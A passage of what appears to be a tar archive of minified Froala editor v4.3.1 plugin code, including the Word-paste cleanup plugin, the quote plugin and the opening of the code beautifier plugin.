method.")}()}M=M&&M.hasOwnProperty("default")?M["default"]:M,Object.assign(M.DEFAULTS,{wordDeniedTags:[],wordDeniedAttrs:[],wordAllowedStyleProps:["font-family","font-size","background","color","width","text-align","vertical-align","background-color","padding","margin","height","margin-top","margin-left","margin-right","margin-bottom","text-decoration","font-weight","font-style","text-indent","border","border-.*","line-height","list-style-type"],wordPasteModal:!0,wordPasteKeepFormatting:!0}),M.PLUGINS.wordPaste=function(A){var a,n,C,P=A.$,s="word_paste",p={},E=!0;function e(t){var e=A.opts.wordAllowedStyleProps;t||(A.opts.wordAllowedStyleProps=[]),0===n.indexOf("<colgroup>")&&(n="<table>"+n+"</table>"),n=l(n=n.replace(/<span[\n\r ]*style='mso-spacerun:yes'>([\r\n\u00a0 ]*)<\/span>/g,function(t,e){for(var r="",i=0;i++<e.length;)r+=" ";return r}),A.paste.getRtfClipboard());var r=A.doc.createElement("DIV");r.innerHTML=n,A.html.cleanBlankSpaces(r),n=r.innerHTML,n=(n=A.paste.cleanEmptyTagsAndDivs(n)).replace(/\u200b/g,""),function i(){A.modals.hide(s)}(),A.helpers.isMobile()&&A.events.focus(),A.paste.clean(n,!0,!0),A.opts.wordAllowedStyleProps=e}function S(t){t.parentNode&&t.parentNode.removeChild(t)}function m(t,e){if(e(t))for(var r=t.firstChild;r;){var i=r,n=r.previousSibling;r=r.nextSibling,m(i,e),i.previousSibling||i.nextSibling||i.parentNode||!r||n===r.previousSibling||!r.parentNode?i.previousSibling||i.nextSibling||i.parentNode||!r||r.previousSibling||r.nextSibling||r.parentNode||(n?r=n.nextSibling?n.nextSibling.nextSibling:null:t.firstChild&&(r=t.firstChild.nextSibling)):r=n?n.nextSibling:t.firstChild}}function D(t){return P(t).hasClass("ListContainerWrapper")&&0<P(t).find("ol").length}function _(t){return P(t).hasClass("ListContainerWrapper")&&0<P(t).find("ul").length}function $(t){if(D(t)||_(t))return!0;if(!t.getAttribute("style")||!/mso-list:[\s]*l/gi.test(t.getAttribute("style").replace(/\n/gi,"")))return!1;try{if(!t.querySelector('[style="mso-list:Ignore"]'))return!!(t.outerHTML&&0<=t.outerHTML.indexOf("\x3c!--[if !supportLists]--\x3e"))}catch(e){return!1}return!0}function F(t){return D(t)||_(t)?P(t).find("li").attr("data-aria-level"):t.getAttribute("style").replace(/\n/gi,"").replace(/.*level([0-9]+?).*/gi,"$1")}function k(t,i){var e=t.cloneNode(!0);if(-1!==["H1","H2","H3","H4","H5","H6"].indexOf(t.tagName)){var r=document.createElement(t.tagName.toLowerCase());r.setAttribute("style",t.getAttribute("style")),r.innerHTML=e.innerHTML,e.innerHTML=r.outerHTML}m(e,function(t){if(t.nodeType==Node.COMMENT_NODE&&(A.browser.msie||A.browser.safari||A.browser.edge))try{if("[if !supportLists]"===t.data){for(t=t.nextSibling;t&&t.nodeType!==Node.COMMENT_NODE;){var e=t.nextSibling;t.parentNode.removeChild(t),t=e}t&&t.nodeType==Node.COMMENT_NODE&&t.parentNode.removeChild(t)}}catch(r){return!1}return t.nodeType===Node.ELEMENT_NODE&&("mso-list:\nIgnore"===t.getAttribute("style")&&t.setAttribute("style","mso-list:Ignore"),"mso-list:Ignore"===t.getAttribute("style")&&t.parentNode.removeChild(t),t.setAttribute("style",h(t)),b(t,i)),!0});var n=D(t)?P(t).find("li").get(0).innerHTML:e.innerHTML;if(D(t)||_(t)){n="";for(var l=P(t).find("li"),a=0;a<l.length;a++){var s=P(l.get(a).innerHTML);s.find("span").each(function(){" "===P(this).html()&&(0<P(this).prev().text().trim().length?P(this).remove():P(this).html("​"))});var o=l[a].style.marginLeft;o?(o=parseFloat(parseFloat(o).toFixed(2))+o.match(/[a-zA-Z]+/g)[0],n+='<li style = "margin-left: '.concat(o,';">').concat(s.get(0).innerHTML,"</li>")):n+="<li >".concat(s.get(0).innerHTML,"</li>")}}else{var d,f=null===(d=P(t).find("p").get(0))||void 0===d?void 0:d.style.marginLeft;n=f?(f=parseFloat(parseFloat(f).toFixed(2))+f.match(/[a-zA-Z]+/g)[0],'<li style = "margin-left: '.concat(f,';">').concat(n,"</li>")):"<li>".concat(n,"</li>")}return n=n.replace(/<!--[\s\S]*?-->/gi,"")}function h(t){var e=1<arguments.length&&arguments[1]!==undefined?arguments[1]:null,r="",i=["line-height","font-family","font-size","color","background"].concat(o(e||[])),n=t.getAttribute("style");return n&&i.forEach(function(e){var t=n.split(";").find(function(t){return t.trim().includes(e+":")});t&&(t.includes("mso")&&(t=t.match(new RegExp(e+":.*(;|)"))[0]),t.trim().startsWith(e)&&(r+=t+";"))}),r}function y(t,e){for(var r=document.createElement(e),i=0;i<t.attributes.length;i++){var n=t.attributes[i].name;"FONT"===t.tagName&&(A.browser.msie&&["id","class","style"].indexOf(n)<0||!A.browser.msie&&CSS.supports(n,t.getAttribute(n)))?P(r).css(n,t.getAttribute(n)):r.setAttribute(n,t.getAttribute(n))}return r.innerHTML=t.innerHTML,t.parentNode.replaceChild(r,t),r}function x(t,e){A.node.clearAttributes(t);for(var r=t.firstElementChild,i=0,n=!1,l=null;r;){if(r.firstElementChild&&-1!==r.firstElementChild.tagName.indexOf("W:"))for(var a=0;a<r.children.length;a++)"<('[^']*'|\"[^\"]*\"|[^\"'>])*>"==r.children[a]&&(r.innerHTML+=r.children[a]);(l=r.getAttribute("width"))||(l=r.style.width),l||n||(n=!0),i+=parseInt(l,10),(!r.firstChild||r.firstChild&&r.firstChild.data===M.UNICODE_NBSP)&&(r.firstChild&&S(r.firstChild),r.innerHTML="<br>");for(var s=r.firstElementChild,o=1===r.children.length;s;)"P"!==s.tagName||$(s)||o&&T(s),s=s.nextElementSibling;if(e){var d=r.getAttribute("class");if(d){var f=(d=L(d)).match(/xl[0-9]+/gi);if(f){var u="."+f[0];e[u]&&w(r,e[u])}}e.td&&w(r,e.td)}var g=r.getAttribute("style");g&&(g=L(g))&&";"!==g.slice(-1)&&(g+=";");var c=r.getAttribute("valign");if(!c&&g){var p=g.match(/vertical-align:.+?[; "]{1,1}/gi);p&&(c=p[p.length-1].replace(/vertical-align:(.+?)[; "]{1,1}/gi,"$1"))}var m=null;if(g){var h=g.match(/text-align:.+?[; "]{1,1}/gi);h&&(m=h[h.length-1].replace(/text-align:(.+?)[; "]{1,1}/gi,"$1")),"general"===m&&(m=null)}var v=null;if(g){var b=g.match(/background:.+?[; "]{1,1}/gi);b&&(v=b[b.length-1].replace(/background:(.+?)[; "]{1,1}/gi,"$1"))}var y=r.getAttribute("colspan"),x=r.getAttribute("rowspan");y&&r.setAttribute("colspan",y),x&&r.setAttribute("rowspan",x),c&&(r.style["vertical-align"]=c),m&&(r.style["text-align"]=m),v&&(r.style["background-color"]=v),l&&r.setAttribute("width",l),r=r.nextElementSibling}for(r=t.firstElementChild;r;)l=r.getAttribute("width"),n&&r.removeAttribute("width"),r=r.nextElementSibling;t.previousSibling?C!=i&&(E=!1):C=i,t.nextElementSibling||function N(t){var e=t.closest("table"),r=0,n=function n(){var i=0;Array.from(t.children).forEach(function(t){var e=parseInt(t.getAttribute("width"),10);isNaN(e)||(i+=e)}),r<i&&(r=i),E?Array.from(t.children).forEach(function(t){var e=parseInt(t.getAttribute("width"),10);if(!isNaN(e)&&0<i){var r=100*e/i;t.setAttribute("width","".concat(r,"%"))}}):Array.from(t.children).forEach(function(t){var e=parseInt(t.getAttribute("width"),10);isNaN(e)||t.setAttribute("width","".concat(e,"px"))}),t=t.previousElementSibling};for(;t;)n();if(e&&0<r){var i=parseInt(e.style.width,10);(isNaN(i)||0===i)&&(e.style.width="".concat(r,"px"))}}(t)}function T(t){var e=t.getAttribute("align");e&&(t.style["text-align"]=e,t.removeAttribute("align"))}function L(t){return t.replace(/\n|\r|\n\r|"/g,"")}function w(t,e,r){if(e){var i=t.getAttribute("style");i&&";"!==i.slice(-1)&&(i+=";"),e&&";"!==e.slice(-1)&&(e+=";"),e=e.replace(/\n/gi,"");var n=null;n=r?(i||"")+e:e+(i||""),t.setAttribute("style",n)}}var c=null;function d(t,e,r){for(var i=t.split(r),n=1;n<i.length;n++){var l=i[n];if(1<(l=l.split("shplid")).length){l=l[1];for(var a="",s=0;s<l.length&&"\\"!==l[s]&&"{"!==l[s]&&" "!==l[s]&&"\r"!==l[s]&&"\n"!==l[s];)a+=l[s],s++;var o=l.split("bliptag");if(o&&o.length<2)continue;var d=null;if(-1!==o[0].indexOf("pngblip")?d="image/png":-1!==o[0].indexOf("jpegblip")&&(d="image/jpeg"),!d)continue;var f=o[1].split("}");if(f&&f.length<2)continue;var u=void 0;if(2<f.length&&-1!==f[0].indexOf("blipuid"))u=f[1].split(" ");else{if((u=f[0].split(" "))&&u.length<2)continue;u.shift()}var g=u.join("");c[e+a]={image_hex:g,image_type:d}}}}function v(t,e){if(e){var r;if("IMG"===t.tagName){var i=t.getAttribute("src");if(!i||-1===i.indexOf("file://"))return;if(0===i.indexOf("file://")&&A.helpers.isURL(t.getAttribute("alt")))return void t.setAttribute("src",t.getAttribute("alt"));(r=p[t.getAttribute("v:shapes")])||(r=t.getAttribute("v:shapes"),t.parentNode&&t.parentNode.parentNode&&0<=t.parentNode.parentNode.innerHTML.indexOf("msEquation")&&(r=null))}else r=t.parentNode.getAttribute("o:spid");if(t.removeAttribute("height"),r){!function s(t){c={},d(t,"i","\\shppict"),d(t,"s","\\shp{")}(e);var n=c[r.substring(7)];if(n){var l=function o(t){for(var e=t.match(/[0-9a-f]{2}/gi),r=[],i=0;i<e.length;i++)r.push(String.fromCharCode(parseInt(e[i],16)));var n=r.join("");return btoa(n)}(n.image_hex),a="data:"+n.image_type+";base64,"+l;"IMG"===t.tagName?(t.src=a,t.setAttribute("data-fr-image-pasted",!0)):P(t).parent().before('<img data-fr-image-pasted="true" src="'.concat(a,'" style="').concat(t.parentNode.getAttribute("style"),'">')).remove()}}}}function b(t,e){var r=t.tagName,i=r.toLowerCase();t.firstElementChild&&("I"===t.firstElementChild.tagName?y(t.firstElementChild,"em"):"B"===t.firstElementChild.tagName&&y(t.firstElementChild,"strong"));if(-1!==["SCRIPT","APPLET","EMBED","NOFRAMES","NOSCRIPT"].indexOf(r))return S(t),!1;for(var n=["META","LINK","XML","ST1:","O:","W:","FONT"],l=0;l<n.length;l++)if(-1!==r.indexOf(n[l]))return t.innerHTML&&(t.outerHTML=t.innerHTML),S(t),!1;if("TD"!==r){var a=t.getAttribute("class")||"MsoNormal";if(e&&a){for(var s=(a=L(a)).split(" "),o=0;o<s.length;o++){var d=[],f="."+s[o];d.push(f),f=i+f,d.push(f);for(var u=0;u<d.length;u++)e[d[u]]&&w(t,e[d[u]])}t.removeAttribute("class")}e&&e[i]&&w(t,e[i])}if(-1!==["P","H1","H2","H3","H4","H5","H6","PRE"].indexOf(r)){var g=t.getAttribute("class");if(g&&(e&&e[r.toLowerCase()+"."+g]&&w(t,e[r.toLowerCase()+"."+g]),-1!==g.toLowerCase().indexOf("mso"))){var c=L(g);(c=c.replace(/[0-9a-z-_]*mso[0-9a-z-_]*/gi,""))?t.setAttribute("class",c):t.removeAttribute("class")}var p=t.getAttribute("style");if(p){var m=p.match(/text-align:.+?[; "]{1,1}/gi);m&&m[m.length-1].replace(/(text-align:.+?[; "]{1,1})/gi,"$1")}T(t)}if("TR"===r&&x(t,e),"A"!==r||t.attributes.getNamedItem("href")||t.attributes.getNamedItem("name")||!t.innerHTML||(t.outerHTML=t.innerHTML),"A"==r&&t.getAttribute("href")&&t.querySelector("img"))for(var h=t.querySelectorAll("span"),v=0;v<h.length;v++)h[v].innerText||(h[v].outerHTML=h[v].innerHTML);if("TD"!==r&&"TH"!==r||t.innerHTML||(t.innerHTML="<br>"),t.getAttribute("lang")&&t.removeAttribute("lang"),t.getAttribute("style")&&-1!==t.getAttribute("style").toLowerCase().indexOf("mso")){var b=L(t.getAttribute("style"));(b=b.replace(/[0-9a-z-_]*mso[0-9a-z-_]*:.+?(;{1,1}|$)/gi,"").replace("line-height:107%",""))?t.setAttribute("style",b):t.removeAttribute("style")}return!0}function l(t,e){0<=t.indexOf("<html")&&(t=t.replace(/[.\s\S\w\W<>]*(<html[^>]*>[.\s\S\w\W<>]*<\/html>)[.\s\S\w\W<>]*/i,"$1"));var o=t.match(/(MSFontService|class="?Mso|class='?Mso|class="?Xl|class='?Xl|class=Xl|style="[^"]*\bmso-|style='[^']*\bmso-|w:WordDocument|LibreOffice)/gi);!function u(t){for(var e=t.split("v:shape"),r=1;r<e.length;r++){var i=e[r],n=i.split(' id="')[1];if(n&&1<n.length){n=n.split('"')[0];var l=i.split(' o:spid="')[1];l&&1<l.length&&(l=l.split('"')[0],p[n]=l)}}}(t);var r=(new DOMParser).parseFromString(t,"text/html"),i=r.head,n=r.body,d=function g(t){var e={},r=t.getElementsByTagName("style");if(r.length){var i=r[0].innerHTML.match(/[\S ]+\s+{[\s\S]+?}/gi);if(i)for(var n=0;n<i.length;n++){var l=i[n],a=l.replace(/([\S ]+\s+){[\s\S]+?}/gi,"$1"),s=l.replace(/[\S ]+\s+{([\s\S]+?)}/gi,"$1");a=a.replace(/^[\s]|[\s]$/gm,""),s=s.replace(/^[\s]|[\s]$/gm,""),a=a.replace(/\n|\r|\n\r/g,""),s=s.replace(/\n|\r|\n\r/g,"");for(var o=a.split(", "),d=0;d<o.length;d++)e[o[d]]=s}}return e}(i);m(n,function(t){if(t.nodeType===Node.ELEMENT_NODE&&t.hasAttribute("style")){var e=t.getAttribute("style");t.setAttribute("style",e),t.style.fontFamily||t.setAttribute("style",function r(t){return t.replace(/mso-(bidi|fareast|fareast-theme)-font-family/g,"font-family")}(e))}return!0}),m(n,function(t){if(t.nodeType===Node.TEXT_NODE&&/\n|\u00a0|\r/.test(t.data)){if(!/\S| /.test(t.data)&&!/[\u00a0]+/.test(t.data))return t.data===M.UNICODE_NBSP?(t.data="\u200b",!0):1===t.data.length&&10===t.data.charCodeAt(0)?(t.data=" ",!0):(S(t),!1);t.data=t.data.replace(/\n|\r/gi," ")}return!0}),m(n,function(t){return t.nodeType!==Node.ELEMENT_NODE||"V:IMAGEDATA"!==t.tagName&&"IMG"!==t.tagName||v(t,e),!0});for(var l=n.querySelectorAll("ul > ul, ul > ol, ol > ul, ol > ol"),a=l.length-1;0<=a;a--)l[a].previousElementSibling&&"LI"===l[a].previousElementSibling.tagName&&l[a].previousElementSibling.appendChild(l[a]);m(n,function(t){if(t.nodeType===Node.TEXT_NODE)return t.data=t.data.replace(/<br>(\n|\r)/gi,"<br>"),!1;if(t.nodeType===Node.ELEMENT_NODE){if($(t)){var e=t.parentNode,r=t.previousSibling,i=function I(t,e,r,i){var n,l,a,s,o,d,f,u=navigator.userAgent.toLowerCase();-1!=u.indexOf("safari")&&(u=-1<u.indexOf("chrome")?1:"safari"),t.innerHTML.includes("mso-list:\nIgnore")&&(t.innerHTML=t.innerHTML.replace(/mso-list:\nIgnore/gi,"mso-list:Ignore"));var g,c,p,m,h=/[0-9a-zA-Z]./gi,v="",b=D(t),y=null===(n=P(t).find("ol"))||void 0===n||null===(n=n.attr("style"))||void 0===n||null===(n=n.split(";"))||void 0===n?void 0:n.find(function(t){return t.trim().startsWith("list-style-type")});y==undefined&&_(t)&&(y=null===(c=P(t).find("ul"))||void 0===c||null===(c=c.attr("style"))||void 0===c||null===(c=c.split(";"))||void 0===c?void 0:c.find(function(t){return t.trim().startsWith("list-style-type")}));if(b)d="ol",f=y?"list-style-type: "+y.replace("list-style-type:","").trim()+";":"";else if(_(t))d="ul",f=y?"list-style-type: "+y.replace("list-style-type:","").trim()+";":"";else{var x=t.querySelector('span[style="mso-list:Ignore"]');null==x&&"safari"==u&&(x=t.querySelector('span[lang="PT-BR"]'));var N=!1;x&&(N=N||h.test(x.textContent)),null!==x&&(g=x.textContent.trim().split(".")[0]),d=1==N?(g=(g=x.textContent.trim().split(".")[0]).replace(/\(([^)]+)\)/g,"$1"),isNaN(parseInt(g))?/^(m{0,4}(cm|cd|d?c{0,3})(xc|xl|l?x{0,3})(ix|iv|v?i{0,3}))$/.test(g)?(f="lower-roman;",t.nextElementSibling&&1===t.nextElementSibling.textContent.trim().split(".")[0].length&&(f="lower-alpha;")):/^(M{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3}))$/.test(g)?(f="upper-roman;",t.nextElementSibling&&1===t.nextElementSibling.textContent.trim().split(".")[0].length&&(f="upper-alpha;")):"o"==g?f="circle;":g.match(/^v$/)||(g.match(/^[a-z]$/)||g.match(/^[a-z]\)$/)?f="lower-alpha;":(g.match(/^[A-Z]$/)||g.match(/^[A-Z]\)$/))&&(f="upper-alpha;")):f="decimal;",f="list-style-type: "+f,"ol"):(null!=x&&(g=x.textContent.trim().split(".")[0]),"\xa7"==g?f="square;":"\xb7"==g&&(f="disc;"),f="list-style-type: "+f,"ul"),x==undefined||x.textContent==undefined||isNaN(parseInt(x.textContent.trim().split(".")[1],10))||(v=' class="decimal_type" ')}var A=1,C="",E=(F(t),t.style.marginLeft),S="";E.includes("in")?(S="in",E=parseFloat(E)-.5):E.includes("pt")&&(S="px",E=parseFloat(E)-10),E&&(m=" margin-left: "+E+S+";"),A="list-style-type: upper-alpha;"==f?b?parseInt(P(t).find("ol").attr("start")):g.charCodeAt(0)-64:"list-style-type: lower-alpha;"==f?b?parseInt(P(t).find("ol").attr("start")):g.charCodeAt(0)-96:"list-style-type: upper-roman;"==f||"list-style-type: lower-roman;"==f?b?parseInt(P(t).find("ol").attr("start")):function O(t){for(var e={I:1,V:5,X:10,L:50,C:100,D:500,M:1e3,i:1,v:5,x:10,l:50,c:100,d:500,m:1e3},r=0,i=0,n=t.length-1;0<=n;n--){var l=e[t[n]];i<=l?r+=l:r-=l,i=l}return r}(g):b?parseInt(P(t).find("ol").attr("start")):parseInt(g),C+=f||"",C+=m||"",p="<"+d,p+=v||"",p+="ol"!=d||1==A||isNaN(A)?"":' start = "'+A+'"',p+=C?' style = "'+C+'"':"",p+=">";for(var T=!1;t;){if(!$(t)){if(t.outerHTML&&0<t.outerHTML.indexOf("mso-bookmark")&&0==(t.textContent||"").length){t=t.nextElementSibling;continue}break}var L=F(t);if((r=r||L)<L)p+=(o=I(t,e,L,t.style.marginLeft)).el.outerHTML,t=o.currentNode;else{if(L<r)break;t.firstElementChild&&t.firstElementChild.firstElementChild&&t.firstElementChild.firstElementChild.firstChild&&(h.lastIndex=0),a&&a.firstElementChild&&a.firstElementChild.firstElementChild&&a.firstElementChild.firstElementChild.firstChild&&(h.lastIndex=0,l=h.test(a.firstElementChild.firstElementChild.firstChild.data||a.firstElementChild.firstElementChild.firstChild.firstChild&&a.firstElementChild.firstElementChild.firstChild.firstChild.data||""));var w=!1;(!i&&!t.style.marginLeft||i&&t.style.marginLeft&&i===t.style.marginLeft)&&(w=!0),i=t.style.marginLeft,w||l===undefined?(s=k(t,e),t.nextSibling&&t.nextSibling.innerText!=undefined&&t.nextSibling.innerText!=undefined&&!p.includes('class="decimal_type"')&&(isNaN(parseInt(t.nextSibling.innerText.trim().split(".")[1],10))||(p=p.substring(3,0)+' class="decimal_type"'+p.substring(3,p.length))),p+=s):(1==L&&(p+="</"+d+">",T=!0,a=null),p+=(o=I(t,e,L,t.style.marginLeft)).el.outerHTML,t=o.currentNode);var M=t&&t.nextElementSibling;if(M&&(a=M.previousElementSibling),t&&!$(t)){if(t.outerHTML&&0<t.outerHTML.indexOf("mso-bookmark")&&0==(t.textContent||"").length){t=t.nextElementSibling;continue}break}t&&t.parentNode&&t.parentNode.removeChild(t),t=M}}T||(p+="</"+d+">");var H=document.createElement("div");return H.innerHTML=p,{el:H,currentNode:t}}(t,d).el,n=null;return(n=r?r.nextSibling:e.firstChild)?e.insertBefore(i,n):e.appendChild(i),!1}return"FONT"===t.tagName&&(o&&"LibreOffice"===o[0]||d["."+t.getAttribute("class")])?t=y(t,"span"):o&&"\x3c!--StartFragment--\x3e"===o[0]&&"UL"===t.tagName&&(P(t).find("li span").each(function(){" "===P(this).html()&&(0<P(this).prev().text().trim().length?P(this).remove():P(this).html("​"))}),P(t).is("ul")&&t.setAttribute("style",h(t,["margin","margin-left","list-style-type"])),P(t).find("ul").each(function(){this.setAttribute("style",h(this,["margin","margin-left","list-style-type"]))})),"img"!==t.tagName.toLowerCase()&&function s(e){Array.from(e.attributes).map(function(t){return t.name}).filter(function(t){return t.toLowerCase().startsWith("data-")||t.toLowerCase().startsWith("xml:")}).forEach(function(t){P(e).removeAttr(t)})}(t),b(t,d)}if(t.nodeType!==Node.COMMENT_NODE)return!0;if(-1<t.data.indexOf("[if !supportLineBreakNewLine]"))for(var l=t.nextSibling;l;)(l=t.nextSibling)&&S(l),l.data&&-1<l.data.indexOf("[endif]")&&(l=null);if(-1<t.data.indexOf("[if supportFields]")&&-1<t.data.indexOf("FORMCHECKBOX")){var a=document.createElement("input");a.type="checkbox",t.parentNode.insertBefore(a,t.nextSibling)}return S(t),!1}),n.innerHTML=function c(t){var e=P(document.createElement("div")).attr("id","top-level");e.html(t);for(var r=e[0].querySelectorAll("ol, ul"),i=0;i<r.length;i++)if(P(r[i]).parentsUntil("#top-level","ol, ul").length){r[i].style.removeProperty("margin-left");for(var n=r[i].children,l=0;l<n.length;l++)"LI"==n[l].tagName&&n[l].style.removeProperty("margin-left")}return e[0].innerHTML}(n.innerHTML),m(n,function(t){if(t.nodeType===Node.ELEMENT_NODE){var e=t.tagName;if(!t.innerHTML&&-1===["BR","IMG","INPUT"].indexOf(e)){for(var r=t.parentNode;r&&(S(t),!(t=r).innerHTML)&&"TD"!==t.parentNode.tagName;)r=t.parentNode;return!1}!function u(t){var e=t.getAttribute("style");if(e){(e=L(e))&&";"!==e.slice(-1)&&(e+=";");var r=e.match(/(^|\S+?):.+?;{1,1}/gi);if(r){for(var i={},n=0;n<r.length;n++){var l=r[n].split(":");2===l.length&&("text-align"===l[0]&&"SPAN"===t.tagName||(i[l[0]]=l[1]))}var a="";for(var s in i)if(i.hasOwnProperty(s)){if("font-size"===s&&"pt;"===i[s].slice(-3)){var o=null;try{o=parseFloat(i[s].slice(0,-3),10)}catch(f){o=null}if(o){var d=A.opts.fontSizeUnit;"px"===d?(o=Math.round(1.33*o),i[s]=o+"px;"):"pt"===d&&(o=Math.round(o),i[s]=o+"pt;")}}a+=s+":"+i[s]}a&&t.setAttribute("style",a)}}}(t)}return!0}),m(n,function(t){if(t&&"A"===t.nodeName&&""===t.href){for(var e=document.createDocumentFragment();t.firstChild;)e.appendChild(t.firstChild);t.parentNode.replaceChild(e,t)}return!0}),m(n,function(t){return t&&"P"===t.tagName&&"DIV"===t.parentNode.tagName&&1==t.parentNode.children.length&&P(t).unwrap(),!0}),m(n,function(t){if(t&&"SPAN"===t.tagName)for(;t.nextSibling&&t.nextSibling.nodeType===Node.ELEMENT_NODE&&"SPAN"===t.nextSibling.tagName&&t.getAttribute("style")===t.nextSibling.getAttribute("style");)P(t).append(t.nextSibling.innerHTML),P(t.nextSibling).remove();return!0});var s=n.outerHTML,f=A.opts.htmlAllowedStyleProps;return A.opts.htmlAllowedStyleProps=A.opts.wordAllowedStyleProps,s=A.clean.html(s,A.opts.wordDeniedTags,A.opts.wordDeniedAttrs,!1),A.opts.htmlAllowedStyleProps=f,s}return{_init:function t(){A.events.on("paste.wordPaste",function(t){return n=t,A.opts.wordPasteModal?function l(){if(!a){var t='<h4><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 74.95 73.23" style="height: 25px; vertical-align: text-bottom; margin-right: 5px; display: inline-block"><defs><style>.a{fill:#2a5699;}.b{fill:#fff;}</style></defs><path class="a" d="M615.15,827.22h5.09V834c9.11.05,18.21-.09,27.32.05a2.93,2.93,0,0,1,3.29,3.25c.14,16.77,0,33.56.09,50.33-.09,1.72.17,3.63-.83,5.15-1.24.89-2.85.78-4.3.84-8.52,0-17,0-25.56,0v6.81h-5.32c-13-2.37-26-4.54-38.94-6.81q0-29.8,0-59.59c13.05-2.28,26.11-4.5,39.17-6.83Z" transform="translate(-575.97 -827.22)"/><path class="b" d="M620.24,836.59h28.1v54.49h-28.1v-6.81h22.14v-3.41H620.24v-4.26h22.14V873.2H620.24v-4.26h22.14v-3.41H620.24v-4.26h22.14v-3.41H620.24v-4.26h22.14v-3.41H620.24V846h22.14v-3.41H620.24Zm-26.67,15c1.62-.09,3.24-.16,4.85-.25,1.13,5.75,2.29,11.49,3.52,17.21,1-5.91,2-11.8,3.06-17.7,1.7-.06,3.41-.15,5.1-.26-1.92,8.25-3.61,16.57-5.71,24.77-1.42.74-3.55,0-5.24.09-1.13-5.64-2.45-11.24-3.47-16.9-1,5.5-2.29,10.95-3.43,16.42q-2.45-.13-4.92-.3c-1.41-7.49-3.07-14.93-4.39-22.44l4.38-.18c.88,5.42,1.87,10.82,2.64,16.25,1.2-5.57,2.43-11.14,3.62-16.71Z" transform="translate(-575.97 -827.22)"/></svg> '+A.language.translate("Word Paste Detected")+"</h4>",e=function n(){var t='<div class="fr-word-paste-modal" style="padding: 20px 20px 10px 20px;">';return t+='<p style="text-align: left;">'+A.language.translate("The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?")+"</p>",t+='<div style="text-align: right; margin-top: 50px;"><button class="fr-remove-word fr-command">'+A.language.translate("Clean")+'</button> <button class="fr-keep-word fr-command">'+A.language.translate("Keep")+"</button></div>",t+="</div>"}(),r=A.modals.create(s,t,e),i=r.$body;a=r.$modal,r.$modal.addClass("fr-middle"),A.events.bindClick(i,"button.fr-remove-word",function(){var t=a.data("instance")||A;t.wordPaste.clean()}),A.events.bindClick(i,"button.fr-keep-word",function(){var t=a.data("instance")||A;t.wordPaste.clean(!0)}),A.events.$on(P(A.o_win),"resize",function(){A.modals.resize(s)})}A.modals.show(s),A.modals.resize(s)}():e(A.opts.wordPasteKeepFormatting),!1})},clean:e,_wordClean:l}}}); plugins/quote.min.js 0000674 00000004222 00000000000 0010446 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(e){"use strict";(e=e&&e.hasOwnProperty("default")?e["default"]:e).PLUGINS.quote=function(r){var c=r.$;function s(e){for(;e.parentNode&&e.parentNode!=r.el;)e=e.parentNode;return e}return{apply:function t(e){r.selection.save(),r.html.wrap(!0,!0,!0,!0),r.selection.restore(),"increase"==e?function o(){var e,t=r.selection.blocks();for(e=0;e<t.length;e++)t[e]=s(t[e]);r.selection.save();var n=c(document.createElement("blockquote"));for(n.insertBefore(t[0]),e=0;e<t.length;e++)n.append(t[e]);r.opts.trackChangesEnabled&&r.track_changes.addQuote(n),r.html.unwrap(),r.selection.restore()}():"decrease"==e&&function a(){var e,t=r.opts.trackChangesEnabled,n=r.selection.blocks();for(e=0;e<n.length;e++)"BLOCKQUOTE"!=n[e].tagName&&(n[e]=t&&c(n[e]).parentsUntil(r.$el,"[data-track-id^=pending]").get(0)||c(n[e]).parentsUntil(r.$el,"BLOCKQUOTE").get(0));for(r.selection.save(),e=0;e<n.length;e++)n[e]&&(t?r.track_changes.removeQuote(c(n[e]),e):c(n[e]).replaceWith(n[e].innerHTML));r.html.unwrap(),r.selection.restore()}()}}},e.RegisterShortcut(e.KEYCODE.SINGLE_QUOTE,"quote","increase","'"),e.RegisterShortcut(e.KEYCODE.SINGLE_QUOTE,"quote","decrease","'",!0),e.RegisterCommand("quote",{title:"Quote",type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t={increase:"Increase",decrease:"Decrease"};for(var n in t)if(t.hasOwnProperty(n)){var o=this.shortcuts.get("quote.".concat(n));e+='<li role="presentation"><a class="fr-command fr-active '.concat(n,'" tabIndex="-1" role="option" data-cmd="quote" data-param1="').concat(n,'" title="').concat(t[n],'">').concat(this.language.translate(t[n])).concat(o?'<span class="fr-shortcut">'.concat(o,"</span>"):"","</a></li>")}return e+="</ul>"},callback:function(e,t){this.quote.apply(t)},plugin:"quote"}),e.DefineIcon("quote",{NAME:"quote-left",SVG_KEY:"blockquote"})}); plugins/code_beautifier.min.js 0000674 00000132306 00000000000 0012427 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],e):e(t.FroalaEditor)}(this,function(t){"use strict";(t=t&&t.hasOwnProperty("default")?t["default"]:t).PLUGINS.codeBeautifier=function(){var t,e,n,i,Q={};function y(i,t){var e={"@page":!0,"@font-face":!0,"@keyframes":!0,"@media":!0,"@supports":!0,"@document":!0},n={"@media":!0,"@supports":!0,"@document":!0};t=t||{},i=(i=i||"").replace(/\r\n|[\r\u2028\u2029]/g,"\n");var r=t.indent_size||4,s=t.indent_char||" ",a=t.selector_separator_newline===undefined||t.selector_separator_newline,_=t.end_with_newline!==undefined&&t.end_with_newline,o=t.newline_between_rules===undefined||t.newline_between_rules,c=t.eol?t.eol:"\n";"string"==typeof r&&(r=parseInt(r,10)),t.indent_with_tabs&&(s="\t",r=1),c=c.replace(/\\r/,"\r").replace(/\\n/,"\n");var l,h=/^\s+$/,u=-1,p=0;function d(){return(l=i.charAt(++u))||""}function f(t){var e,n=u;return t&&E(),e=i.charAt(u+1)||"",u=n-1,d(),e}function T(t){for(var e=u;d();)if("\\"===l)d();else{if(-1!==t.indexOf(l))break;if("\n"===l)break}return i.substring(e,u+1)}function E(){for(var 